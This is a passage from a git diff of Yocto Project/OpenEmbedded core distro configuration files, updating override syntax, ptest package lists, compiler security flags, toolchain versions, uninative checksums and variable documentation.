+RECIPE_MAINTAINER:pn-xz = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-zip = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-zlib = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-zstd = "Alexander Kanavin <alex.kanavin@gmail.com>"
diff --git a/meta/conf/distro/include/no-static-libs.inc b/meta/conf/distro/include/no-static-libs.inc
index 4141ecb765..ee67383460 100644
--- a/meta/conf/distro/include/no-static-libs.inc
+++ b/meta/conf/distro/include/no-static-libs.inc
@@ -1,41 +1,30 @@
DISABLE_STATIC ?= " --disable-static"
# qemu aborts on unrecognised option
-DISABLE_STATIC_pn-qemu = ""
-DISABLE_STATIC_pn-qemu-native = ""
-DISABLE_STATIC_pn-nativesdk-qemu = ""
-DISABLE_STATIC_pn-qemu-system-native = ""
-# pciutils fails build
-DISABLE_STATIC_pn-pciutils = ""
-# libcap aborts on unrecognised option
-DISABLE_STATIC_pn-libcap = ""
-DISABLE_STATIC_pn-libcap-native = ""
-DISABLE_STATIC_pn-nativesdk-libcap = ""
-# libpcap aborts on unrecognised option
-DISABLE_STATIC_pn-libpcap = ""
+DISABLE_STATIC:pn-qemu = ""
+DISABLE_STATIC:pn-qemu-native = ""
+DISABLE_STATIC:pn-nativesdk-qemu = ""
+DISABLE_STATIC:pn-qemu-system-native = ""
# needed by gdb
-DISABLE_STATIC_pn-readline = ""
-# needed by pseudo
-DISABLE_STATIC_pn-sqlite3 = ""
-DISABLE_STATIC_pn-sqlite3-native = ""
-DISABLE_STATIC_pn-nativesdk-sqlite3 = ""
+DISABLE_STATIC:pn-readline = ""
# openjade/sgml-common have build issues without static libs
-DISABLE_STATIC_pn-sgml-common-native = ""
-DISABLE_STATIC_pn-openjade-native = ""
+DISABLE_STATIC:pn-sgml-common-native = ""
+DISABLE_STATIC:pn-openjade-native = ""
# openssl has build issues without static libs
-DISABLE_STATIC_pn-openssl = ""
-DISABLE_STATIC_pn-openssl-native = ""
-DISABLE_STATIC_pn-nativesdk-openssl = ""
+DISABLE_STATIC:pn-openssl = ""
+DISABLE_STATIC:pn-openssl-native = ""
+DISABLE_STATIC:pn-nativesdk-openssl = ""
# libssp-static-dev included in build-appliance
-DISABLE_STATIC_pn-gcc-runtime = ""
+DISABLE_STATIC:pn-gcc-runtime = ""
# libusb1-native is used to build static dfu-util-native
-DISABLE_STATIC_pn-libusb1-native = ""
+DISABLE_STATIC:pn-libusb1-native = ""
-EXTRA_OECONF_append = "${DISABLE_STATIC}"
+EXTRA_OECONF:append = "${DISABLE_STATIC}"
-EXTRA_OECMAKE_append_pn-libical = " -DSHARED_ONLY=True"
-EXTRA_OECMAKE_append_pn-libjpeg-turbo = " -DENABLE_STATIC=False"
+EXTRA_OECMAKE:append:pn-libical = " -DSHARED_ONLY=True"
+EXTRA_OECMAKE:append:pn-libjpeg-turbo = " -DENABLE_STATIC=False"
+EXTRA_OECMAKE:append:pn-libjpeg-turbo-native = " -DENABLE_STATIC=False"
-EXCONFIG_ARGS_append_pn-ncurses = " --without-normal"
-EXCONFIG_ARGS_append_pn-ncurses-native = " --without-normal"
-EXCONFIG_ARGS_append_pn-nativesdk-ncurses = " --without-normal"
+EXCONFIG_ARGS:append:pn-ncurses = " --without-normal"
+EXCONFIG_ARGS:append:pn-ncurses-native = " --without-normal"
+EXCONFIG_ARGS:append:pn-nativesdk-ncurses = " --without-normal"
diff --git a/meta/conf/distro/include/ptest-packagelists.inc b/meta/conf/distro/include/ptest-packagelists.inc
index bb4724cf52..c705b41a94 100644
--- a/meta/conf/distro/include/ptest-packagelists.inc
+++ b/meta/conf/distro/include/ptest-packagelists.inc
@@ -14,18 +14,21 @@ PTESTS_FAST = "\
diffutils-ptest \
elfutils-ptest \
ethtool-ptest \
+ expat-ptest \
flex-ptest \
gawk-ptest \
gdbm-ptest \
gdk-pixbuf-ptest \
gettext-ptest \
+ glib-networking-ptest \
gzip-ptest \
json-glib-ptest \
- kbd-ptest \
libconvert-asn1-perl-ptest \
liberror-perl-ptest \
+ libnl-ptest \
libmodule-build-perl-ptest \
libpcre-ptest \
+ libssh2-ptest \
libtimedate-perl-ptest \
libtest-needs-perl-ptest \
liburi-perl-ptest \
@@ -37,6 +40,7 @@ PTESTS_FAST = "\
libxml-sax-base-perl-ptest \
libxml-simple-perl-ptest \
libxml2-ptest \
+ lua-ptest \
lzo-ptest \
m4-ptest \
nettle-ptest \
@@ -44,33 +48,47 @@ PTESTS_FAST = "\
opkg-ptest \
pango-ptest \
parted-ptest \
+ python3-atomicwrites-ptest \
+ python3-bcrypt-ptest \
+ python3-hypothesis-ptest \
+ python3-jinja2-ptest \
+ python3-jsonpointer-ptest \
+ python3-markupsafe-ptest \
+ python3-more-itertools-ptest \
+ python3-pluggy-ptest \
+ python3-pytz-ptest \
+ python3-wcwidth-ptest \
+ python3-webcolors-ptest \
+ qemu-ptest \
quilt-ptest \
sed-ptest \
slang-ptest \
+ wayland-ptest \
zlib-ptest \
"
-
-#PTESTS_PROBLEMS = "\
-# qemu-ptest \ # Doesn't run any tests?
-# ruby-ptest \ # Timeout
-# mdadm-ptest \ # Timeout
-# clutter-1.0-ptest \ # Doesn't build due to depends on cogl-1.0
-#"
+PTESTS_FAST:append:libc-glibc = " glibc-tests-ptest"
+PTESTS_PROBLEMS:remove:libc-glibc = "glibc-tests-ptest"
+PTESTS_FAST:remove:mips64 = "qemu-ptest"
+PTESTS_PROBLEMS:append:mips64 = " qemu-ptest"
+PTESTS_FAST:remove:riscv32 = "qemu-ptest"
+PTESTS_PROBLEMS:append:riscv32 = " qemu-ptest"
PTESTS_SLOW = "\
- bash-ptest \
+ babeltrace-ptest \
+ babeltrace2-ptest \
busybox-ptest \
- dbus-test-ptest \
+ coreutils-ptest \
+ dbus-ptest \
e2fsprogs-ptest \
+ findutils-ptest \
glib-2.0-ptest \
gstreamer1.0-ptest \
libevent-ptest \
lttng-tools-ptest \
- mdadm-ptest \
openssh-ptest \
openssl-ptest \
perl-ptest \
- python-ptest \
+ python3-cryptography-ptest \
python3-ptest \
strace-ptest \
tcl-ptest \
@@ -78,4 +96,31 @@ PTESTS_SLOW = "\
valgrind-ptest \
"
-PTESTS_SLOW_remove_riscv64 = "valgrind-ptest"
+PTESTS_SLOW:remove:riscv64 = "valgrind-ptest"
+PTESTS_PROBLEMS:append:riscv64 = "valgrind-ptest"
+
+# ruby-ptest \ # Timeout
+# lz4-ptest \ # Needs a rewrite
+# rt-tests-ptest \ # Needs to be checked whether it runs at all
+# bash-ptest \ # Test outcomes are non-deterministic by design
+# ifupdown-ptest \ # Tested separately in lib/oeqa/selftest/cases/imagefeatures.py
+# mdadm-ptest \ # Tests rely on non-deterministic sleep() amounts
+# libinput-ptest \ # Tests need an unloaded system to be reliable
+# libpam-ptest \ # Needs pam DISTRO_FEATURE
+# numactl-ptest \ # qemu not (yet) configured for numa; all tests are skipped
+# libseccomp-ptest \ # tests failed: 38; add to slow tests once addressed
+# python3-numpy-ptest \ # requires even more RAM and (possibly) disk space; multiple failures
+
+PTESTS_PROBLEMS = "\
+ ruby-ptest \
+ lz4-ptest \
+ rt-tests-ptest \
+ bash-ptest \
+ ifupdown-ptest \
+ mdadm-ptest \
+ libinput-ptest \
+ libpam-ptest \
+ libseccomp-ptest \
+ numactl-ptest \
+ python3-numpy-ptest \
+"
diff --git a/meta/conf/distro/include/rust_security_flags.inc b/meta/conf/distro/include/rust_security_flags.inc
new file mode 100644
index 0000000000..590bef17a0
--- /dev/null
+++ b/meta/conf/distro/include/rust_security_flags.inc
@@ -0,0 +1,7 @@
+# Build errors with PIE options enabled
+SECURITY_CFLAGS:pn-rust-native = "${SECURITY_NO_PIE_CFLAGS}"
+SECURITY_CFLAGS:pn-rust-cross-${TARGET_ARCH} = "${SECURITY_NO_PIE_CFLAGS}"
+SECURITY_CFLAGS:pn-rust = "${SECURITY_NO_PIE_CFLAGS}"
+SECURITY_CFLAGS:pn-rust-llvm = "${SECURITY_NO_PIE_CFLAGS}"
+
+SECURITY_LDFLAGS:pn-rust-cross-arm = " -lssp_nonshared -lssp"
diff --git a/meta/conf/distro/include/security_flags.inc b/meta/conf/distro/include/security_flags.inc
index aaf04e9e59..8374cb8544 100644
--- a/meta/conf/distro/include/security_flags.inc
+++ b/meta/conf/distro/include/security_flags.inc
@@ -1,6 +1,6 @@
# Setup extra CFLAGS and LDFLAGS which have 'security' benefits. These
# don't work universally, there are recipes which can't use one, the other
-# or both so a blacklist is maintained here. The idea would be over
+# or both so an override is maintained here. The idea would be over
# time to reduce this list to nothing.
# From a Yocto Project perspective, this file is included and tested
# in the DISTRO="poky" configuration.
@@ -10,7 +10,9 @@ GCCPIE ?= "--enable-default-pie"
# _FORTIFY_SOURCE requires -O1 or higher, so disable in debug builds as they use
# -O0 which then results in a compiler warning.
-lcl_maybe_fortify ?= "${@oe.utils.conditional('DEBUG_BUILD','1','','-D_FORTIFY_SOURCE=2',d)}"
+OPTLEVEL = "${@bb.utils.filter('SELECTED_OPTIMIZATION', '-O0 -O1 -O2 -O3 -Ofast -Og -Os -Oz -O', d)}"
+
+lcl_maybe_fortify ?= "${@oe.utils.conditional('OPTLEVEL','-O0','','${OPTLEVEL} -D_FORTIFY_SOURCE=2',d)}"
# Error on use of format strings that represent possible security problems
SECURITY_STRINGFORMAT ?= "-Wformat -Wformat-security -Werror=format-security"
@@ -26,46 +28,44 @@ SECURITY_STACK_PROTECTOR ?= "-fstack-protector-strong"
SECURITY_CFLAGS ?= "${SECURITY_STACK_PROTECTOR} ${SECURITY_PIE_CFLAGS} ${lcl_maybe_fortify} ${SECURITY_STRINGFORMAT}"
SECURITY_NO_PIE_CFLAGS ?= "${SECURITY_STACK_PROTECTOR} ${lcl_maybe_fortify} ${SECURITY_STRINGFORMAT}"
-SECURITY_LDFLAGS ?= "${SECURITY_STACK_PROTECTOR} -Wl,-z,relro,-z,now"
-SECURITY_X_LDFLAGS ?= "${SECURITY_STACK_PROTECTOR} -Wl,-z,relro"
+SECURITY_LDFLAGS ?= "-Wl,-z,relro,-z,now"
+SECURITY_X_LDFLAGS ?= "-Wl,-z,relro"
# powerpc does not get on with pie for reasons not looked into as yet
-GCCPIE_powerpc = ""
-GLIBCPIE_powerpc = ""
-SECURITY_CFLAGS_remove_powerpc = "${SECURITY_PIE_CFLAGS}"
-SECURITY_CFLAGS_pn-libgcc_powerpc = ""
-
-SECURITY_CFLAGS_pn-glibc = ""
-SECURITY_CFLAGS_pn-glibc-testsuite = ""
-SECURITY_CFLAGS_pn-gcc-runtime = ""
-SECURITY_CFLAGS_pn-grub = ""
-SECURITY_CFLAGS_pn-grub-efi = ""
-SECURITY_CFLAGS_pn-grub-efi-native = ""
-SECURITY_CFLAGS_pn-grub-efi-x86-native = ""
-SECURITY_CFLAGS_pn-grub-efi-i586-native = ""
-SECURITY_CFLAGS_pn-grub-efi-x86-64-native = ""
-SECURITY_CFLAGS_pn-mkelfimage_x86 = ""
-
-SECURITY_CFLAGS_pn-valgrind = "${SECURITY_NOPIE_CFLAGS}"
-SECURITY_LDFLAGS_pn-valgrind = ""
-SECURITY_CFLAGS_pn-sysklogd = "${SECURITY_NOPIE_CFLAGS}"
-SECURITY_LDFLAGS_pn-sysklogd = ""
+GCCPIE:powerpc = ""
+GLIBCPIE:powerpc = ""
+SECURITY_CFLAGS:remove:powerpc = "${SECURITY_PIE_CFLAGS}"
+SECURITY_CFLAGS:pn-libgcc:powerpc = ""
+
+SECURITY_CFLAGS:pn-glibc = ""
+SECURITY_CFLAGS:pn-glibc-testsuite = ""
+SECURITY_CFLAGS:pn-gcc-runtime = ""
+SECURITY_CFLAGS:pn-grub = ""
+SECURITY_CFLAGS:pn-grub-efi = ""
+SECURITY_CFLAGS:pn-mkelfimage:x86 = ""
+
+SECURITY_CFLAGS:pn-valgrind = "${SECURITY_NOPIE_CFLAGS}"
+SECURITY_LDFLAGS:pn-valgrind = ""
+SECURITY_CFLAGS:pn-sysklogd = "${SECURITY_NOPIE_CFLAGS}"
+SECURITY_LDFLAGS:pn-sysklogd = ""
# Recipes which fail to compile when elevating -Wformat-security to an error
-SECURITY_STRINGFORMAT_pn-busybox = ""
-SECURITY_STRINGFORMAT_pn-gcc = ""
+SECURITY_STRINGFORMAT:pn-busybox = ""
+SECURITY_STRINGFORMAT:pn-gcc = ""
-TARGET_CC_ARCH_append_class-target = " ${SECURITY_CFLAGS}"
-TARGET_LDFLAGS_append_class-target = " ${SECURITY_LDFLAGS}"
+TARGET_CC_ARCH:append:class-target = " ${SECURITY_CFLAGS}"
+TARGET_LDFLAGS:append:class-target = " ${SECURITY_LDFLAGS}"
+TARGET_CC_ARCH:append:class-cross-canadian = " ${SECURITY_CFLAGS}"
+TARGET_LDFLAGS:append:class-cross-canadian = " ${SECURITY_LDFLAGS}"
-SECURITY_STACK_PROTECTOR_pn-gcc-runtime = ""
-SECURITY_STACK_PROTECTOR_pn-glibc = ""
-SECURITY_STACK_PROTECTOR_pn-glibc-testsuite = ""
+SECURITY_STACK_PROTECTOR:pn-gcc-runtime = ""
+SECURITY_STACK_PROTECTOR:pn-glibc = ""
+SECURITY_STACK_PROTECTOR:pn-glibc-testsuite = ""
# All xorg module drivers need to be linked this way as well and are
# handled in recipes-graphics/xorg-driver/xorg-driver-common.inc
-SECURITY_LDFLAGS_pn-xserver-xorg = "${SECURITY_X_LDFLAGS}"
+SECURITY_LDFLAGS:pn-xserver-xorg = "${SECURITY_X_LDFLAGS}"
-TARGET_CC_ARCH_append_pn-binutils = " ${SELECTED_OPTIMIZATION}"
-TARGET_CC_ARCH_append_pn-gcc = " ${SELECTED_OPTIMIZATION}"
-TARGET_CC_ARCH_append_pn-gdb = " ${SELECTED_OPTIMIZATION}"
-TARGET_CC_ARCH_append_pn-perf = " ${SELECTED_OPTIMIZATION}"
+TARGET_CC_ARCH:append:pn-binutils = " ${SELECTED_OPTIMIZATION}"
+TARGET_CC_ARCH:append:pn-gcc = " ${SELECTED_OPTIMIZATION}"
+TARGET_CC_ARCH:append:pn-gdb = " ${SELECTED_OPTIMIZATION}"
+TARGET_CC_ARCH:append:pn-perf = " ${SELECTED_OPTIMIZATION}"
diff --git a/meta/conf/distro/include/tclibc-baremetal.inc b/meta/conf/distro/include/tclibc-baremetal.inc
index e04f8c8812..f3d27bbaae 100644
--- a/meta/conf/distro/include/tclibc-baremetal.inc
+++ b/meta/conf/distro/include/tclibc-baremetal.inc
@@ -18,22 +18,22 @@ USE_NLS ?= "no"
IMAGE_LINGUAS = ""
LIBC_DEPENDENCIES = ""
-EXTRA_OECONF_pn-gcc-cross-${TARGET_ARCH}_append = " --without-headers"
-DEPENDS_remove_pn-meta-toolchain = "virtual/libc virtual/${TARGET_PREFIX}compilerlibs"
+EXTRA_OECONF:pn-gcc-cross-${TARGET_ARCH}:append = " --without-headers"
+DEPENDS:remove:pn-meta-toolchain = "virtual/libc virtual/${TARGET_PREFIX}compilerlibs"
# certain compiler libs cannot be used without libc, avoid the dependence on compilerlibs
-BASEDEPENDS_remove_class-target = "virtual/${TARGET_PREFIX}compilerlibs"
+BASEDEPENDS:remove:class-target = "virtual/${TARGET_PREFIX}compilerlibs"
TARGET_OS = "elf"
-TARGET_OS_arm = "eabi"
+TARGET_OS:arm = "eabi"
-TOOLCHAIN_HOST_TASK ?= "packagegroup-cross-canadian-${MACHINE}"
+TOOLCHAIN_HOST_TASK ?= "packagegroup-cross-canadian-${MACHINE} nativesdk-qemu nativesdk-sdk-provides-dummy"
TOOLCHAIN_HOST_TASK_ATTEMPTONLY ?= ""
TOOLCHAIN_TARGET_TASK ?= "libgcc-dev"
-TOOLCHAIN_NEED_CONFIGSITE_CACHE_remove = "virtual/${MLPREFIX}libc zlib ncurses"
+TOOLCHAIN_NEED_CONFIGSITE_CACHE:remove = "virtual/${MLPREFIX}libc zlib ncurses"
# disable stack protector by default (no-libc, no protector implementation)
-SECURITY_STACK_PROTECTOR_libc-baremetal = ""
+SECURITY_STACK_PROTECTOR:libc-baremetal = ""
# disable pie security flags by default
-SECURITY_CFLAGS_libc-baremetal = "${SECURITY_NOPIE_CFLAGS}"
-SECURITY_LDFLAGS_libc-baremetal = ""
+SECURITY_CFLAGS:libc-baremetal = "${SECURITY_NOPIE_CFLAGS}"
+SECURITY_LDFLAGS:libc-baremetal = ""
diff --git a/meta/conf/distro/include/tclibc-glibc.inc b/meta/conf/distro/include/tclibc-glibc.inc
index 3246490997..f4855dce11 100644
--- a/meta/conf/distro/include/tclibc-glibc.inc
+++ b/meta/conf/distro/include/tclibc-glibc.inc
@@ -16,7 +16,7 @@ PREFERRED_PROVIDER_virtual/libc-locale ?= "glibc-locale"
CXXFLAGS += "-fvisibility-inlines-hidden"
-LIBC_DEPENDENCIES = "libsegfault \
+LIBC_DEPENDENCIES = "\
glibc \
glibc-dbg \
glibc-dev \
diff --git a/meta/conf/distro/include/tclibc-newlib.inc b/meta/conf/distro/include/tclibc-newlib.inc
index 896c0b16d7..238b430e49 100644
--- a/meta/conf/distro/include/tclibc-newlib.inc
+++ b/meta/conf/distro/include/tclibc-newlib.inc
@@ -25,24 +25,23 @@ LIBC_DEPENDENCIES = "\
libgloss-dbg \
libgcc-dev \
libgcc-dbg \
+ libstdc++-dev \
+ libstdc++-staticdev \
"
-# compilerlibs defaults to gcc-runtime, but we get runtime from libgloss
-# we set ASSUME_PROVIDED because we cant set PREFERRED_PROVIDER
-# for compilerlibs since its overridden by tcmode-default
-ASSUME_PROVIDED += "virtual/${TARGET_PREFIX}compilerlibs virtual/crypt"
+ASSUME_PROVIDED += "virtual/crypt"
# Its useful to be able to extend newlib, but we dont provide a native variant of libgloss
NEWLIB_EXTENDED ?= "libgloss libgcc"
-BASE_DEFAULT_DEPS_append_class-target = " ${NEWLIB_EXTENDED}"
+BASE_DEFAULT_DEPS:append:class-target = " ${NEWLIB_EXTENDED}"
TARGET_OS = "elf"
-TARGET_OS_arm = "eabi"
+TARGET_OS:arm = "eabi"
-TOOLCHAIN_HOST_TASK ?= "packagegroup-cross-canadian-${MACHINE}"
+TOOLCHAIN_HOST_TASK ?= "packagegroup-cross-canadian-${MACHINE} nativesdk-qemu nativesdk-sdk-provides-dummy"
TOOLCHAIN_TARGET_TASK ?= "${LIBC_DEPENDENCIES}"
-TOOLCHAIN_NEED_CONFIGSITE_CACHE_remove = "zlib ncurses"
+TOOLCHAIN_NEED_CONFIGSITE_CACHE:remove = "zlib ncurses"
# disable pie security flags by default
-SECURITY_CFLAGS_libc-newlib = "${SECURITY_NOPIE_CFLAGS}"
-SECURITY_LDFLAGS_libc-newlib = ""
+SECURITY_CFLAGS:libc-newlib = "${SECURITY_NOPIE_CFLAGS}"
+SECURITY_LDFLAGS:libc-newlib = ""
diff --git a/meta/conf/distro/include/tcmode-default.inc b/meta/conf/distro/include/tcmode-default.inc
index 4a23c50631..d362bd76c6 100644
--- a/meta/conf/distro/include/tcmode-default.inc
+++ b/meta/conf/distro/include/tcmode-default.inc
@@ -16,23 +16,22 @@ PREFERRED_PROVIDER_virtual/${SDK_PREFIX}compilerlibs = "nativesdk-gcc-runtime"
# Default libc config
PREFERRED_PROVIDER_virtual/gettext ??= "gettext"
-GCCVERSION ?= "9.%"
+GCCVERSION ?= "11.%"
SDKGCCVERSION ?= "${GCCVERSION}"
-BINUVERSION ?= "2.32%"
-GDBVERSION ?= "8.3%"
-GLIBCVERSION ?= "2.30%"
-LINUXLIBCVERSION ?= "5.2%"
-QEMUVERSION ?= "4.1%"
-GOVERSION ?= "1.12%"
+BINUVERSION ?= "2.38%"
+GDBVERSION ?= "11.%"
+GLIBCVERSION ?= "2.35"
+LINUXLIBCVERSION ?= "5.16%"
+QEMUVERSION ?= "6.2%"
+GOVERSION ?= "1.17%"
# This can not use wildcards like 8.0.% since it is also used in mesa to denote
# llvm version being used, so always bump it with llvm recipe version bump
-LLVMVERSION ?= "9.0.0"
+LLVMVERSION ?= "13.0.1"
+RUSTVERSION ?= "1.59%"
PREFERRED_VERSION_gcc ?= "${GCCVERSION}"
PREFERRED_VERSION_gcc-cross-${TARGET_ARCH} ?= "${GCCVERSION}"
-PREFERRED_VERSION_gcc-cross-initial-${TARGET_ARCH} ?= "${GCCVERSION}"
PREFERRED_VERSION_gcc-crosssdk-${SDK_SYS} ?= "${SDKGCCVERSION}"
-PREFERRED_VERSION_gcc-crosssdk-initial-${SDK_SYS} ?= "${SDKGCCVERSION}"
PREFERRED_VERSION_gcc-cross-canadian-${TRANSLATED_TARGET_ARCH} ?= "${GCCVERSION}"
PREFERRED_VERSION_gcc-runtime ?= "${GCCVERSION}"
PREFERRED_VERSION_gcc-sanitizers ?= "${GCCVERSION}"
@@ -66,6 +65,10 @@ PREFERRED_VERSION_qemu ?= "${QEMUVERSION}"
PREFERRED_VERSION_qemu-native ?= "${QEMUVERSION}"
PREFERRED_VERSION_nativesdk-qemu ?= "${QEMUVERSION}"
+# Bootstrap Go using a binary release from golang.org. If you want to bootstrap
+# from source using the C-implemented Go 1.4 (only supports x86-64 hosts) then use
+# go-native.
+PREFERRED_PROVIDER_go-native ?= "go-binary-native"
PREFERRED_VERSION_virtual/${TARGET_PREFIX}go ?= "${GOVERSION}"
PREFERRED_VERSION_go-cross-${TUNE_PKGARCH} ?= "${GOVERSION}"
PREFERRED_VERSION_go-crosssdk-${SDK_ARCH} ?= "${GOVERSION}"
@@ -79,3 +82,15 @@ PREFERRED_VERSION_nativesdk-go-runtime ?= "${GOVERSION}"
PREFERRED_VERSION_llvm = "${LLVMVERSION}"
PREFERRED_VERSION_llvm-native = "${LLVMVERSION}"
PREFERRED_VERSION_nativesdk-llvm = "${LLVMVERSION}"
+
+# Rust toolchain preferred versions:
+
+PREFERRED_VERSION_cargo ?= "${RUSTVERSION}"
+PREFERRED_VERSION_cargo-native ?= "${RUSTVERSION}"
+PREFERRED_VERSION_libstd-rs ?= "${RUSTVERSION}"
+PREFERRED_VERSION_rust ?= "${RUSTVERSION}"
+PREFERRED_VERSION_rust-cross-${TARGET_ARCH} ?= "${RUSTVERSION}"
+PREFERRED_VERSION_rust-llvm ?= "${RUSTVERSION}"
+PREFERRED_VERSION_rust-llvm-native ?= "${RUSTVERSION}"
+PREFERRED_VERSION_rust-native ?= "${RUSTVERSION}"
+
diff --git a/meta/conf/distro/include/uninative-flags.inc b/meta/conf/distro/include/uninative-flags.inc
index febf2a53e5..4638a7b4e9 100644
--- a/meta/conf/distro/include/uninative-flags.inc
+++ b/meta/conf/distro/include/uninative-flags.inc
@@ -4,4 +4,4 @@
# We therefore enable pie unconditionally for native recipes where static libs are
# used such as libiberty from binutils, for now, until our minimum distro set is
# all default pie.
-BUILD_CFLAGS_append_pn-binutils-native = " -pie -fpie"
+BUILD_CFLAGS:append:pn-binutils-native = " -pie -fpie"
diff --git a/meta/conf/distro/include/yocto-uninative.inc b/meta/conf/distro/include/yocto-uninative.inc
index ad75d3e2a3..bfe05ce1eb 100644
--- a/meta/conf/distro/include/yocto-uninative.inc
+++ b/meta/conf/distro/include/yocto-uninative.inc
@@ -6,9 +6,10 @@
# to the distro running on the build machine.
#
-UNINATIVE_MAXGLIBCVERSION = "2.30"
+UNINATIVE_MAXGLIBCVERSION = "2.35"
+UNINATIVE_VERSION = "3.5"
-UNINATIVE_URL ?= "http://downloads.yoctoproject.org/releases/uninative/2.7/"
-UNINATIVE_CHECKSUM[aarch64] ?= "e76a45886ee8a0b3904b761c17ac8ff91edf9811ee455f1832d10763ba794dfc"
-UNINATIVE_CHECKSUM[i686] ?= "810d027dfb1c7675226afbcec07808770516c969ee7378f6d8240281083f8924"
-UNINATIVE_CHECKSUM[x86_64] ?= "9498d8bba047499999a7310ac2576d0796461184965351a56f6d32c888a1f216"
+UNINATIVE_URL ?= "http://downloads.yoctoproject.org/releases/uninative/${UNINATIVE_VERSION}/"
+UNINATIVE_CHECKSUM[aarch64] ?= "6de0771bd21e0fcb5e80388e5b561a8023b24083bcbf46e056a089982aff75d7"
+UNINATIVE_CHECKSUM[i686] ?= "8c8745becbfa1c341bae839c7eab56ddf17ce36c303bcd73d3b2f2f788b631c2"
+UNINATIVE_CHECKSUM[x86_64] ?= "e8047a5748e6f266165da141eb6d08b23674f30e477b0e5505b6403d50fbc4b2"
diff --git a/meta/conf/documentation.conf b/meta/conf/documentation.conf
index 550df20b0f..ab2addb321 100644
--- a/meta/conf/documentation.conf
+++ b/meta/conf/documentation.conf
@@ -17,7 +17,7 @@ do_compile_ptest_base[doc] = "Compiles the runtime test suite included in the so
do_configure[doc] = "Configures the source by enabling and disabling any build-time and configuration options for the software being built"
do_configure_ptest_base[doc] = "Configures the runtime test suite included in the software being built"
do_deploy[doc] = "Writes deployable output files to the deploy directory"
-do_devpyshell[doc] = "Starts an interactive Python shell for development/debugging"
+do_pydevshell[doc] = "Starts an interactive Python shell for development/debugging"
do_devshell[doc] = "Starts a shell with the environment set up for development/debugging"
do_diffconfig[doc] = "Compares the old and new config files after running do_menuconfig for the kernel"
do_fetch[doc] = "Fetches the source code"
@@ -64,6 +64,9 @@ ALTERNATIVE[doc] = "Lists commands in a package that need an alternative binary
ALTERNATIVE_LINK_NAME[doc] = "Used by the alternatives system to map duplicated commands to actual locations."
ALTERNATIVE_PRIORITY[doc] = "Used by the alternatives system to create default priorities for duplicated commands."
ALTERNATIVE_TARGET[doc] = "Used by the alternatives system to create default link locations for duplicated commands."
+ANY_OF_COMBINED_FEATURES[doc] = "When a recipe inherits the features_check class, at least one item in this variable must be included in COMBINED_FEATURES."
+ANY_OF_DISTRO_FEATURES[doc] = "When a recipe inherits the features_check class, at least one item in this variable must be included in DISTRO_FEATURES."
+ANY_OF_MACHINE_FEATURES[doc] = "When a recipe inherits the features_check class, at least one item in this variable must be included in MACHINE_FEATURES."
ASSUME_PROVIDED[doc] = "List of packages (recipes actually) that are assumed to be implicitly available. BitBake does not build these packages."
ASSUME_SHLIBS[doc] = "List of shlib:package[_version] mappings. Useful for lib packages in ASSUME_PROVIDED, for which automatic shlib dependency tracking does not work."
AUTHOR[doc] = "Email address used to contact the original author(s) in order to send patches and forward bugs."
@@ -113,11 +116,14 @@ COMPATIBLE_MACHINE[doc] = "A regular expression that resolves to one or more tar
COMPLEMENTARY_GLOB[doc] = "Defines wildcards to match when installing a list of complementary packages for all the packages installed in an image."
CONFFILES[doc] = "Identifies editable or configurable files that are part of a package."
CONFIG_SITE[doc] = "A list of files that contains autoconf test results relevant to the current build. This variable is used by the Autotools utilities when running configure."
-CONFLICT_DISTRO_FEATURES[doc] = "When a recipe inherits the distro_features_check class, this variable identifies distribution features that would be in conflict should the recipe be built."
+CONFLICT_COMBINED_FEATURES[doc] = "When a recipe inherits the features_check class, no item in this variable can be included in COMBINED_FEATURES."
+CONFLICT_DISTRO_FEATURES[doc] = "When a recipe inherits the features_check class, no item in this variable can be included in DISTRO_FEATURES."
+CONFLICT_MACHINE_FEATURES[doc] = "When a recipe inherits the features_check class, no item in this variable can be included in MACHINE_FEATURES."
CORE_IMAGE_EXTRA_INSTALL[doc] = "Specifies the list of packages to be added to the image. You should only set this variable in the conf/local.conf file in the Build Directory."
COREBASE[doc] = "Specifies the parent directory of the OpenEmbedded Core Metadata layer (i.e. meta)."
CONF_VERSION[doc] = "Tracks the version of local.conf. Increased each time build/conf/ changes incompatibly."
-CVSDIR[doc] = "The directory where cvs checkouts will be stored in."
+CVE_CHECK_LAYER_EXCLUDELIST[doc] = "Defines which layers to exclude from cve-check scanning"
+CVE_CHECK_LAYER_INCLUDELIST[doc] = "Defines which layers to include during cve-check scanning"
#D
@@ -177,7 +183,6 @@ FULL_OPTIMIZATION[doc]= "The options to pass in TARGET_CFLAGS and CFLAGS when co
#G
-GITDIR[doc] = "The directory where Git clones will be stored."
GROUPADD_PARAM[doc] = "When a recipe inherits the useradd class, this variable specifies for a package what parameters should be passed to the groupadd command if you wish to add a group to the system when the package is installed."
GROUPMEMS_PARAM[doc] = "When a recipe inherits the useradd class, this variable specifies for a package what parameters should be passed to the groupmems command if you wish to modify the members of a group when the package is installed."
GRUB_GFXSERIAL[doc] = "Configures the GNU GRand Unified Bootloader (GRUB) to have graphics and serial in the boot menu."
@@ -199,9 +204,9 @@ HOST_VENDOR[doc] = "The name of the vendor. Normally same as the TARGET_VENDOR."
ICECC_ENV_EXEC[doc] = "Points to the icecc-create-env script that you provide."
ICECC_PATH[doc] = "The location of the icecc binary."
-ICECC_USER_CLASS_BL[doc] = "Identifies user classes that you do not want the Icecream distributed compile support to consider."
-ICECC_USER_PACKAGE_BL[doc] = "Identifies user recipes that you do not want the Icecream distributed compile support to consider."
-ICECC_USER_PACKAGE_WL[doc] = "Identifies user recipes that use an empty PARALLEL_MAKE variable that you want to force remote distributed compilation on using the Icecream distributed compile support."
+ICECC_CLASS_DISABLE[doc] = "Identifies user classes that you do not want the Icecream distributed compile support to consider."
+ICECC_RECIPE_DISABLE[doc] = "Identifies user recipes that you do not want the Icecream distributed compile support to consider."
+ICECC_RECIPE_ENABLE[doc] = "Identifies user recipes that use an empty PARALLEL_MAKE variable that you want to force remote distributed compilation on using the Icecream distributed compile support."
IMAGE_BASENAME[doc] = "The base name of image output files."
IMAGE_BOOT_FILES[doc] = "Whitespace separated list of files from ${DEPLOY_DIR_IMAGE} to place in boot partition. Entries will be installed under a same name as the source file. To change the destination file name, pass a desired name after a semicolon (eg. u-boot.img;uboot)."
IMAGE_CLASSES[doc] = "A list of classes that all images should inherit."
@@ -220,7 +225,7 @@ IMAGE_ROOTFS_EXTRA_SPACE[doc] = "Defines additional free disk space created in t
IMAGE_ROOTFS_SIZE[doc] = "Defines the size in Kbytes for the generated image."
